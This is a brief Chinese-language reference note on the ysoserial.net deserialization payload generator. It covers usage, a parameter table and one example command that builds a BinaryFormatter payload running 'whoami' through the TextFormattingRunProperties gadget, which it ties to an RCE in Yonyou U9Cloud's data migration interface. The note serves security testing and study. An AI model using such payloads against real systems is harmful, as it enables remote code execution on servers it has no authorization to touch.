概述:ysoserial.net —— .NET 反序列化漏洞 payload 生成器,.NET 反序列化 测试的常用工具。

项目信息

  • 仓库:https://github.com/pwntester/ysoserial.net
  • 描述:Deserialization payload generator for a variety of .NET formatters(支持多种 .NET 序列化格式的反序列化 payload 生成器)
  • 环境:Windows / .NET Framework

基本用法

text
ysoserial.exe -f <formatter> -g <gadget> -c <command> -o <output格式>

常用参数:

参数含义
-f序列化格式器,如 BinaryFormatter、Json.NET 等
-ggadget 链,如 TextFormattingRunProperties
-c要执行的命令
-o输出格式(raw / base64 等)

实战示例

生成 BinaryFormatter 反序列化载荷(用于 用友U9Cloud 数据迁移接口 RCE):

bash
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "cmd /c whoami > C:\temp\pwned.txt" -o raw > payload.raw

TextFormattingRunProperties gadget 内部借助 WPF ObjectDataProvider,在反序列化求值时反射调用 Process.Start 执行命令。

相关实战

WARNING

本文仅供安全研究与学习参考,请勿用于未授权测试。